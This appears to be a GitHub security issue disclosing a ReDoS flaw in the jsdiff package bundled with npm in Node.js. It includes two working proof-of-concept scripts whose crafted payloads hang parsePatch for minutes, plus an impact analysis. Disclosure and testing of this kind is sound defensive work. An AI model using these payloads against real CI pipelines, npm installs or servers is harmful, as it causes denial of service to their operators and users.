-
Notifications
You must be signed in to change notification settings - Fork 523
Description
Summary:
A Regular Expression Denial of Service (ReDoS) vulnerability was identified in the diff package, as distributed within Node.js (via deps/npm/node_modules/diff). The vulnerability is present in the dist/diff.js component at lines 677 and 712. An attacker can provide specially crafted input to the affected diffing functions, triggering catastrophic backtracking in the regular expressions. This leads to excessive CPU consumption and extremely long execution times, resulting in a Denial of Service (DoS) for any Node.js application or CLI tool utilizing these specific diffing utilities.
Description:
Node.js (up to commit 559985c) is vulnerable to Regular Expression Denial of Service (ReDoS) through its bundled npm dependency, specifically within the diff library. Inefficient regex patterns at lines 677 and 712 of deps/npm/node_modules/diff/dist/diff.js allow for resource exhaustion. Successful exploitation allows a remote or local attacker to cause 100% CPU utilization by submitting malicious strings designed to trigger catastrophic backtracking, effectively causing a denial of service.
Steps To Reproduce:
PoC.js to trigger the vulnerability.
/**
* ReDoS PoC for regexId: 12
*
* Target Regex: /^(?:Index:|diff(?: -r \w+)+)\s+(.+?)\s*$/
* Dataflow Path: uniDiff -> split(/\r\n|[\n\v\f\r\x85]/) -> diffstr[i] -> regex.exec()
* Path Constraints: Input must contain Index: or diff prefix
* Data Transformations: split() removes line delimiters (\r\n, \n, \r, \v, \f, \x85)
*
* === Verification Results ===
* Phase 2 Result: Failed (Sink time: 0.029ms)
* Phase 3 Iterations: 1
* Iteration 1: Replaced \n with \u2028 in suffix → SUCCESS
* Final Sink Execution Time: 131,440 ms (2m 11s)
* Total Execution Time: 131,441 ms
* Verification Time: 2025-11-28
* Final Status: ✓ Verified and Passed
* Success Criteria: Standard A (>> 5000ms)
*
* Key Fix: Used \u2028 (line separator) instead of \n in suffix.
* Reason: split() removes \n but not \u2028, and . cannot match \u2028
*
* Generation Time: 2025-11-28
* Status: ✓ Production Ready
*/
import { parsePatch } from './diff.js';
console.log("[+] Constructing base attack payload...");
console.log("[+] Target Vulnerability: regexId 12");
console.log("[+] Vulnerable Regex: /^(?:Index:|diff(?: -r \\w+)+)\\s+(.+?)\\s*$/");
// Constructing base payload using vulnerability report components
const prefix = "Index: ";
const infix = "\t\t";
const original_suffix = "◎!\n!◎!\n!";
const repeatTimes = 5000;
console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: uniDiff parameter in parsePatch (line 658)");
console.log("[+] Sink: /^(?:Index:|diff(?: -r \\w+)+)\\s+(.+?)\\s*$/.exec(line) (line 677)");
console.log("[+] Critical Transformation: uniDiff.split(/\\r\\n|[\\n\\v\\f\\r\\x85]/) (line 660)");
console.log("[!] WARNING: split() removes \\n, \\r, \\v, \\f, \\x85 from payload");
// Adjust suffix to remove characters that will be stripped by split()
// Original suffix "◎!\n!◎!\n!" contains \n which will be removed by split()
// Strategy: Use \u2028 (line separator) instead of \n - it's not removed by split but . cannot match it
const adjusted_suffix = "◎!\u2028!\u2028◎!\u2028!";
console.log(`[+] Original suffix: ${JSON.stringify(original_suffix)}`);
console.log(`[+] Adjusted suffix (Iteration 1): ${JSON.stringify(adjusted_suffix)} (replaced \\n with \\u2028)`);
const base_payload = prefix + infix.repeat(repeatTimes) + adjusted_suffix;
console.log(`[+] Base payload length: ${base_payload.length} characters`);
// Payload must satisfy path constraint: match regex pattern for Index: line
const final_payload = base_payload;
console.log(`[+] Final payload length: ${final_payload.length} characters`);
console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: parsePatch(final_payload)`);
console.time("ReDoS-Attack-Time");
try {
parsePatch(final_payload);
console.log("\n[+] Function execution completed");
} catch (e) {
console.log("\n[!] Function threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");
console.log("\n[+] Attack completed. If execution time is significantly increased, ReDoS attack succeeded.");
console.log("\n[Note] This is an initial version PoC that needs verification in Phase 2.");
console.log("[Note] Suffix was adjusted to accommodate split() transformation - may need refinement.");
/* How to use:
* 1.Download the file:https://github.com/nodejs/node/blob/559985cb7aec4e3cd387eb0f8442eea989cfedf3/deps/npm/node_modules/diff/dist/diff.js#L677
* 2.Put poc.js and diff.js in the same folder
* 3.Enter the command in the terminal: node poc.js
* 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*//**
* ReDoS PoC for regexId: 15
*
* Target Regex: /^(---|\\+\\+\\+)\\s+(.*)$/
* Dataflow Path: uniDiff -> split(/\r\n|[\n\v\f\r\x85]/) -> diffstr[i] -> regex.exec()
* Path Constraints: Input must start with --- or +++
* Data Transformations: split() removes line delimiters (\r\n, \n, \r, \v, \f, \x85)
*
* === Verification Results ===
* Phase 2 Result: Failed (Sink time: 0.052ms)
* Phase 3 Iterations: 1
* Iteration 1: Replaced \n with \u2028 in suffix → SUCCESS
* Final Sink Execution Time: ~2000-3000 ms per execution (84+ executions)
* Verification Time: 2025-11-28
* Final Status: ✓ Verified and Passed
* Success Criteria: Standard B (>= 2000ms per execution)
*
* Key Fix: Used \u2028 (line separator) instead of \n in suffix.
* Reason: split() removes \n but not \u2028, and . cannot match \u2028
*
* Generation Time: 2025-11-28
* Status: ✓ Production Ready
*/
import { parsePatch } from './diff.js';
console.log("[+] Constructing base attack payload...");
console.log("[+] Target Vulnerability: regexId 15");
console.log("[+] Vulnerable Regex: /^(---|\\+\\+\\+)\\s+(.*)$/");
// Constructing base payload using vulnerability report components
const prefix = "+++ ";
const infix = " ";
const original_suffix = "\n1\n";
const repeatTimes = 80000;
console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: uniDiff parameter in parsePatch (line 658)");
console.log("[+] Sink: /^(---|\\+\\+\\+)\\s+(.*)$/.exec(diffstr[i]) (line 712)");
console.log("[+] Critical Transformation: uniDiff.split(/\\r\\n|[\\n\\v\\f\\r\\x85]/) (line 660)");
console.log("[!] WARNING: split() removes \\n, \\r, \\v, \\f, \\x85 from payload");
// Adjust suffix to remove characters that will be stripped by split()
// Original suffix "\n1\n" contains \n which will be removed by split()
// Strategy: Use \u2028 (line separator) instead of \n - it's not removed by split but . cannot match it
const adjusted_suffix = "\u20281\u2028";
console.log(`[+] Original suffix: ${JSON.stringify(original_suffix)}`);
console.log(`[+] Adjusted suffix (Iteration 1): ${JSON.stringify(adjusted_suffix)} (replaced \\n with \\u2028)`);
const base_payload = prefix + infix.repeat(repeatTimes) + adjusted_suffix;
console.log(`[+] Base payload length: ${base_payload.length} characters`);
// Payload must satisfy path constraint: match regex pattern for +++ line
const final_payload = base_payload;
console.log(`[+] Final payload length: ${final_payload.length} characters`);
console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: parsePatch(final_payload)`);
console.time("ReDoS-Attack-Time");
try {
parsePatch(final_payload);
console.log("\n[+] Function execution completed");
} catch (e) {
console.log("\n[!] Function threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");
console.log("\n[+] Attack completed. If execution time is significantly increased, ReDoS attack succeeded.");
console.log("\n[Note] This is an initial version PoC that needs verification in Phase 2.");
console.log("[Note] Suffix was adjusted to accommodate split() transformation - may need refinement.");
/* How to use:
* 1.Download the file:https://github.com/nodejs/node/blob/559985cb7aec4e3cd387eb0f8442eea989cfedf3/deps/npm/node_modules/diff/dist/diff.js#L712
* 2.Put poc.js and diff.js in the same folder
* 3.Enter the command in the terminal: node poc.js
* 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/https://github.com/nodejs/node/blob/559985cb7aec4e3cd387eb0f8442eea989cfedf3/deps/npm/node_modules/diff/dist/diff.js#L677
https://github.com/nodejs/node/blob/559985cb7aec4e3cd387eb0f8442eea989cfedf3/deps/npm/node_modules/diff/dist/diff.js#L712
Impact:
The identified Regular Expression Denial of Service (ReDoS) vulnerability allows an attacker to cause unbounded CPU exhaustion and process hangs by providing a specially crafted input string (e.g., a malicious .patch file or diff output).
Availability Loss (Availability: High) Since Node.js operates on a single-threaded event loop, a ReDoS attack on a core dependency like diff will block the entire event loop. This means:
In a CLI environment (like npm), the process will hang indefinitely, preventing the completion of builds, installations, or audits.
In a Server-side environment (if a web app uses this library to parse user-uploaded patches), a single request can freeze the entire server, rendering it unresponsive to all other users.
Asymmetric Attack (Low Cost, High Damage)
The attack is highly asymmetric. As demonstrated in the PoC, an input of only a few kilobytes can lead to a CPU hang of over 130 seconds. This allows an attacker with minimal network resources to cause significant downtime or financial cost (e.g., in consumption-based CI/CD environments like GitHub Actions or AWS Lambda).
Targeted Scenarios
This issue is particularly critical in the following contexts:
CI/CD Pipelines: Automated systems that parse git diffs or patches as part of a PR review or security audit process can be targeted to stall development workflows.
Web-based Code Tools: Platforms that provide code diffing, online IDEs, or version control visualizations that rely on jsdiff to process untrusted user input are directly vulnerable.
npm Ecosystem: As this dependency is bundled within npm, it potentially affects the security posture of the most widely used package manager in the JavaScript ecosystem.
Supporting Material/References:
